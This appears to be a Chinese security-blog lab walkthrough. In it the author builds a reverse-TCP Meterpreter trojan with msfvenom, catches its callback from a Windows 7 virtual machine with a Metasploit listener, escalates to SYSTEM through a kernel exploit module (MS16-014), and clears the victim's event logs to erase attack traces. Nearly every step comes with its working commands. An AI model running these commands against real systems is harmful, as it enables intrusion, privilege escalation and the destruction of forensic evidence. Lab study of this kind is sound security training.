freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

木马程序攻击+利用Windows内核漏洞提权
柚子小白666 2022-12-02 17:24:06 357649
所属地 河北省

本实验实现1:在攻击主机kali上,使用msfvenom工具,制作一个木马程序,并开启监听模块,对该木马程序进行实时监听,然后将这个木马程序发送给目标主机win7,一旦目标主机win7打开运行这个木马程序,则会立即被kali开启的监听模块监听到,并成功开启连接会话,最终攻击成功

本实验实现2:攻击成功后,想要在kali控制win7后,清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的,后发现权限不够的问题,则利用Windows内核漏洞进行提权操作,最终成功清除日志

在VMware上建立两个虚拟机:win7和kali

Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。

可以永久免费使用,基本上学黑客攻击必会用到这个系统

靶机:Win7 64位 (IP: 192.168.10.41)--用ipconfig进行查询

1669883686_6388672601c22eaff766a.png!small?1669883687512

攻击机:Kali (IP:192.168.10.21)--用ifconfig进行查询

1669883711_6388673f4c88c3cf4bc84.png!small?1669883713029

1、实验环境前提条件

win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)

保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)

$ping 192.168.10.41

1669883772_6388677c7ddf32e35daa0.png!small?1669883774200

2、制作木马程序

msfvenom是kali自带的制作木马的工具,是msfpayload和msfencode的结合体,我们可以利用msfvenom来制作木马程序,以实现在目标主机上执行,在攻击主机上监听这一系列的操作

$msfvenom  -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.10.21  LPORT=50000  -f exe  -o openme.exe

重点关注5个参数配置:

-p:设置木马程序的攻击载体;

LHOST:本地监听的地址,就是谁来监听这个程序,也指回连地址,自然是kali的地址;

LPORT:本地监听地址的端口号,也指回连端口,即kali地址的端口号,理论上可随意设置,但范围不要

超过65535,且不可设置为常见的特殊的端口号;

-f:指定木马程序的格式为exe(可执行的程序文件);

-o:指定木马程序的文件名称;

结果:成功生成一个木马程序openme.exe,并保存于kali中的/home/kali目录下

1669883932_6388681cf1c324bd4c278.png!small?1669883934764

1669884023_6388687780061893075fe.png!small?1669884025091

【补充知识点:

1)端口号范围:0~65535

1669798399_638719ff3edb1751047e3.png!small?1669798400282

2)常见端口号列举

1669798422_63871a1602d8df89fbb59.png!small?1669798422938

3、赋予木马程序可执行权限

为生成的木马程序openme.exe 赋予可执行的权限,权限被修改为777(可读可写可执行),如果有必要可以对该文件执行免杀

$chmod 777 openme.exe

结果:成功将openme.exe的权限修改为可读可写可执行

1669884087_638868b7bafbc027bd95b.png!small?1669884089335

【补充知识点:

Linux系统中,每个用户的角色和权限划分的很细致也很严格,每个文件(目录)都设有访问许可权限,利用这种机制来决定某个用户通过某种方式对文件(目录)进行读、写、执行等操作;

操作文件或目录的用户,有3种不同类型:文件所有者、群组用户、其他用户。最高位表示文件所有者的权限值,中间位表示群组用户的权限值,最低位则表示其他用户的权限值。所以,chmod 777中,三个数字7分别对应上面三种用户,权限值都为7。

文件或目录的权限又分为3种:只读、只写、可执行。

1669798356_638719d4bc427141837a0.png!small?1669798357707

依照上面的表格,权限组合就是对应权限值求和,如下:

7 = 4 + 2 + 1      读写运行权限

5 = 4 + 1             读和运行权限

4 = 4                   只读权限

4、将木马程序发送给win7

将在kali中生成的木马程序openme.exe上传到win7中C盘根目录下,可使用upload命令实现文件的上传,具体操作,可参考我的另一篇文章《钓鱼网站+bypassuac提权》

结果:在win7中c盘根目录下发现传过来的木马程序openme.exe

1669884725_63886b35ee28ea3232c4b.png!small?1669884727648

注意:木马程序上传成功后,别忘了关闭当前已经连接的会话

因为为了实验上传木马程序开启的会话,此时已经没用了,所以,避免后续会话的混淆,建议关闭当前的会话连接

meterpreter>exit

结果:提示“192.168.10.41-Meterpreter session 1 closed”--已关闭对192.168.10.41的会话连接,,后续不会再查看到该会话,也不可以再次发起对该会话的连接

1669884858_63886bbaaaeb327129c35.png!small?1669884860368

5、打开Metasploit渗透工具

Metasploit是一款开源的安全漏洞检测工具,msfconsole用于启动msf终端

$msfconsole

结果:成功进入,进入到"msf6>“的模式下

1669884976_63886c300ba3ce8ddedfa.png!small?1669884977752

6、开启监听模块

直接打开一个监听的模块,能够反弹shell监听模块,进行攻击,进入模块中

>use exploit/multi/handler

结果:成功切换到这个模块之下--”msf6 exploit(multi/handler)>“

并提示“Using configured payload generic/shell_reverse_tcp”--使用的payload为generic/shell_reverse_tcp

1669885029_63886c6542608ae249e65.png!small?1669885030817

7、查看该监听模块所需的参数情况

进到这个监听模块之后,先查看该模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数?

>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注3个参数配置,需要设置哪个就设置哪个:

Payload:攻击载体;

LHOST:本地监听的地址,也指回连地址;

LPORT:本地监听地址的端口号,也指回连端口;

1669885116_63886cbca2a92c9b81f77.png!small?1669885119062

补充说明:

1)Payload中包含有需要在远程系统中运行的恶意代码,Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

2)Payload模块主要有以下三种类型:-Single    -Stager    -Stage

Single是一种完全独立的Payload,实现的目的也简单,但容易被捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。    一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接(3次握手-4次挥手)(是一个基于TCP的反向链接反弹shell, 使用起来很稳定)。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

3)windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

【注意:Payloadwindows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter32位,

如果想将之后获取到的控制通道meterpreter改为64位,则设置payload为windows/x64/meterpreter/reverse_tcp

8、设置攻击载体、本地监听地址以及端口号

因为我们要开启的这个监听模块,是专门针对于openme.exe木马程序,进行的实时监听,那么,必然需要将监听模块的参数配置,与openme.exe木马程序的参数配置保持一致,只有这样,才能达到准确的监听

之前制作openme.exe的参数为:

"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.21 LPORT=50000"

因此,我们也就需要将监听模块的攻击载体Payload,与木马程序的payload保持一致:

>set payload windows/x64/meterpreter/reverse_tcp

需要将监听模块的本地监听地址LHOST,与木马程序的LHOST保持一致:

>set LHOST 192.168.10.21

需要将监听模块的本地监听地址的端口号LPORT,与木马程序的LPORT保持一致:

>set LPORT 50000

1669885244_63886d3c1bc656b684bdd.png!small?1669885245727

9、再次进行检查

>show options

1669885289_63886d69b1f196e359f02.png!small?1669885291912

10、检查无误后,发起攻击

>run

结果:开启针对192.168.10.21:50000的监听模式,光标会停留在这,等待有用户打开运行openme.exe木马程序,从而有反馈信息回连到192.168.10.21:50000上来

1669885321_63886d8929d2bd7f8c18a.png!small?1669885322835

11、打开木马程序

到win7中的C盘根目录下找到木马程序openme.exe,尝试去双击打开,即可触发会话连接,会尝试连接到监听模块中

结果1:在win7中打开该木马程序后,不会有任何的反馈结果

1669885377_63886dc15b418aca24570.png!small?1669885379118

结果2:由于在win7中触发打开了木马程序openme.exe,那么,在kali中,则会被触发会话连接,监听模块中会显示有192.168.10.41(也就是目标主机)尝试打开运行了木马程序,最终,“meterpreter session 1 opened”--表明已经开通192.168.10.21:50000和192.168.10.41:49172的会话连接1

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功

1669885355_63886dab6e336153c0e49.png!small?1669885357344

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接

1)手动查看当前存在的会话

注意在目录msf>下,手动查看当前存在的会话

结果:当前只有会话连接1,meterpreter建立的连接类型type是x64--64位的(由模块中的payload设定),以及展示目标主机192.168.10.41的基本信息和连接信息

>sessions

2)选择连接当前已经开通的会话1

>sessions -i 1

结果:成功进入控制通道meterpreter,交互模式,表明攻击成功

12、实现清除日志操作

在kali控制win7后,想要清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的

12.1)查看未清除之前的win7的日志存储情况

在win7中,开始菜单栏中搜索“事件查看器”,并打开。在“事件查看器”中存有Windows日志,包含应用程序日志、系统日志、安全日志的大量数据

1669885841_63886f91165b299f9abe3.png!small?16698858427241669885861_63886fa5141feafb8cd91.png!small?16698858629301669885880_63886fb84a23ef1fd6823.png!small?16698858819031669885900_63886fcc1c55287a085f4.png!small?1669885901979


12.2)清除win7日志

meterpreter>clearev

结果:不能完全将win7中的日志清除,提示错误信息“operation failed:access is denied”----操作失败: 访问被拒绝

1669885963_6388700b9b6fe6a875358.png!small?1669885965274

12.3)分析错误的原因

要考虑,访问被拒绝,是不是权限上的问题,一般来说,权限够的话,命令是不应该被拒绝,所以要考虑提权的问题。

补充知识点

windows系统中用户权限

user【普通用户-张三】;

administrator【管理员用户】;

system【系统用户、虽不可登录,最高权限,但对系统有完整的控制权】;

Linux系统中用户权限

user【普通用户】;

root【超级用户】;

13、利用Windows内核漏洞进行提权

考虑是权限不够的问题,尝试提权,常用的提权方式有,先利用bypassuac模块用来绕过Windows的UAC限制,然后再使用getsystem命令进行手动提权,可参考我的另一篇文章《钓鱼网站+bypassuac提权》

接下来,我们来看另一种提权的方式-利用Windows内核漏洞

【补充:

Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构、平台(操作系统)、会话类型和所需默认选项提供建议。这样,可以极大的节省了攻击者的时间,省去了手动搜索local exploits的麻烦

但需要注意的有两点:一是,要使用local exploit suggester的话,前提必须已经在目标主机上获取到了一个控制通道会话meterpreter session,且在运行local exploit suggester之前,需要将现有的控制通道会话调到后台运行;二是,并不保证所有列出的local exploits都可用,还需要去尝试验证才行

13.1)查看当前权限

以上都是我们的分析,认为是权限的问题,那我们就来验证一下吧,进行当前权限的查看,看当前的权限到底是不是普通的权限啊,不是最高权限system

而且,我们还需认清一个事实,就是:在获得了session后,说明建立了至少一个会话了,我们可以通过连接会话,来获取控制通道meterpreter,但注意,这并不意味着我们就可以为所欲为了,必然是会有一个权限的问题,一般不会一上来就能获得最高的权限,所以,会有两种情况:获得system最高权限,或者是普通用户权限

meterpreter>getuid

结果:查看当前获得的用户的权限,只是普通用户权限”18044“,不是最高权限system

1669886052_638870645c33e2773aff6.png!small?1669886053909

13.2)挂起当前会话

由于Windows内核漏洞提权操作,是依赖于在已经获得普通用户权限的基础上,进行提权,并最终获得一个新的会话连接(注意:新的会话连接得到的权限必为最高权限,无需再进行手动提权),所以至少要保留一个已成功开启的session会话连接,以供后续使用

因此,可以利用background进行返回,将利用木马程序攻击打开的控制通道meterpreter,在后台挂起,把当前的session会话1放入后台

meterpreter>background

结果:成功将session会话1挂起到后台,并没有断开连接,且成功切换到msf >目录下

1669886088_6388708822115e7dfc733.png!small?1669886089693

13.3)检测目标主机可能存在哪些提权漏洞

利用post/multi/recon/local_exploit_suggester检测模块,检测目标主机win7可能存在哪些提权漏洞,就需要先进入这个检测模块中去

注意:

使用该漏洞模块时,要注意meterpreter的位数,如果目标主机是64位的话,就必须使用64位的meterpreter,也就是说,由于我们实验的环境中,目标主机win7是64位的操作系统,所以,就要保证meterpreter建立的会话连接session 1的类型type也要是64位的,否则的话,会存在漏洞利用失败的问题

这也是为什么,最开始在制作木马程序时,设置的-p和设置监听模块中的payload,都将其中的攻击载体设置为x64的了(windows/x64/meterpreter/reverse_tcp),只有这样才能保证我们得到的session 1的meterpreter的类型是64位的

>use post/multi/recon/local_exploit_suggester

结果:成功切换到这个模块之下--”msf6 post(multi/recon/local_exploit_suggester)>“

1669886254_6388712e9009b854de17f.png!small?1669886256237

13.4)查看该漏洞模块的参数情况

进到这个检测模块之后,先查看该模块的参数情况

>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

仅有1个参数配置需要设置:

SESSION(已开启的会话连接);

1669886293_638871558783a4ef23e02.png!small

13.5)设置已开启的会话连接

发现仅SESSION为空,待设置,提示“the session to run this module on”-“运行此模块的会话”,我们肯定要设置一个已有的会话号吧,若是没有的会话,设置它也没法用,所以,参数SESSION指的是已开启的会话连接,应设置成我们已有的session连接会话1,被我们挂起放在后台了

>set SESSION 1

结果:设置成功

1669886329_63887179934c95dc0e2f9.png!small?1669886331063

13.6)再次进行检查

>show options

结果:SESSION不为空,设置成功

1669886358_638871964d7a395a8a85f.png!small?1669886360067

13.7)检查无误后,发起攻击

>run

结果:检测出目标主机win7可能存在的提权漏洞都有哪些,一共检测出7个提权漏洞

exploit/windows/local/bypassuac_dotnet_profiler;
exploit/windows/local/bypassuac_sdclt;
exploit/windows/local/cve_2019_1458_wizardopium;
exploit/windows/local/cve_2020_1054_drawiconex_lpe;
exploit/windows/local/ms10_092_schelevator;
exploit/windows/local/ms16_014_wmi_recv_notif;
exploit/windows/local/tokenmagic;

注意:每个提权漏洞后面都有同一句提示“the target appears to be vulnerable;”-这个目标可能很脆弱

这就说明,都是可能存在能提权的漏洞,也有可能不存在,只能做一个参考,需要我们自己去手动尝试攻击验证,当然有可能成功,有可能不成功

1669886544_6388725018858ebd2aff6.png!small?1669886546717

13.8)尝试利用其中一个漏洞模块,进行攻击

利用其中一个漏洞攻击模块exploit/windows/local/ms16_014_wmi_recv_notif,进行攻击,进入模块中

>use exploit/windows/local/ms16_014_wmi_recv_notif

结果:成功切换到这个模块之下--”msf6 exploit(windows/local/ms16_014_wmi_recv_notif)>“

并提示“no payload configured,defaulting to windows/x64/meterpreter/reverse_tcp”--没有配置payload,默认为 windows/x64/meterpreter/reverse_tcp

1669886594_63887282ee2e809886bf7.png!small?1669886596472

13.9)查看该漏洞模块的参数情况

进到这个漏洞模块之后,先查看该模块的参数情况

>show options

结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注4个参数配置,需要设置哪个就设置哪个:

Payload(攻击载体-为windows/x64/meterpreter/reverse_tcp--要保证meterpreter建立的会话连接

session 1的类型type也要是64位的,前面提到过原因

SESSION(已开启的会话连接);

LHOST(发起攻击的地址-kali地址);

LPORT(发起攻击的端口-使用默认获取的端口即可)

1669971604_6389be94d5d023f330492.png!small?1669971608701

13.10)设置已开启的会话连接

其它(payload/LHOST/LPORT)均已获取,且正确。

发现仅SESSION为空,待设置,提示“the session to run this module on”-“运行此模块的会话”,所以,参数SESSION指的是已开启的会话连接,应设置成我们已有的session连接会话1,被我们挂起放在后台了

>set SESSION 1

结果:设置成功

1669971647_6389bebf6b7c318b8602c.png!small?1669971651073

13.11)再次进行检查

>show options

结果:SESSION不为空,其他各项也都没问题,设置成功

1669971668_6389bed479b80bc7ec780.png!small?1669971672268

13.12)检查无误后,发起攻击

>run

结果:利用exploit/windows/local/ms16_014_wmi_recv_notif漏洞模块对目标主机win7发起了攻击,“meterpreter session 2 opened”--表明已经开通了192.168.10.21:4444和192.168.10.41:49176的新会话连接2

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功

1669971723_6389bf0b5e55630de66b7.png!small?1669971727173

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接

1)手动查看当前存在的会话

注意在目录msf>下

>sessions

结果:显示会话连接1和新生成的会话连接2,要分清两个会话,会话1是利用木马程序攻击目标主机win7成功打开的连接,会话2是利用Windows内核漏洞对已开启的会话1进行提权操作,而新生成的会话

1669971779_6389bf43ed6dedc1644a2.png!small?1669971783700

2)选择连接当前已经开通的新会话2

注意:就不要再连接会话1了,我们之前已经试过会话1,连接到控制通道,发现因权限不够,而操作失败。所以,要选择连接会话2,这是我们利用Windows内核漏洞,开启的新的会话连接,肯定要进到该会话中,才能实现成功提权的目的】

>sessions -i 2

结果:进入控制通道meterpreter,交互模式,表明攻击成功

1669971795_6389bf53e1eed01b9c11d.png!small?1669971799553

13.13)查看当前权限

理论上,我们已经利用了Windows内核漏洞进行了提权,但鉴于使用的漏洞并不一定可以提权成功,所以需要进行验证

因此,进入控制通道后,先查看当前获得的用户权限

meterpreter>getuid

结果:成功获取到最高权限system,提权成功

1669971867_6389bf9ba5686cdac6e51.png!small?1669971871360

14、再次进行清除日志操作

meterpreter>clearev

结果1:kali中提示清除成功,已成功删除Application(应用程序日志)的279项记录、System(系统日志)的1029项记录、Security(安全日志)的229项记录

1669971878_6389bfa6f0ef59692a57d.png!small?1669971882700

结果2:win7中显示清除成功,再次打开或刷新“事件查看器”,发现在Windows日志中,存有的应用程序日志、系统日志、安全日志,已经清空

1669971956_6389bff46b64c107bc4fb.png!small?16699719601541669971964_6389bffc4e2b66327862a.png!small?16699719679521669971980_6389c00c394fe574c363a.png!small?16699719838741669971990_6389c0163a098c2e1153c.png!small?1669971993876


# 漏洞 # 渗透测试 # 网络安全 # 漏洞分析 # 网络安全技术
本文为 柚子小白666 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
柚子小白666 LV.2
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 7 关注者
DVWA平台搭建+SQL注入实验详解
2023-02-01
钓鱼网站+persistence植入后门程序+创建用户
2022-12-15
钓鱼网站+bypassuac提权
2022-12-01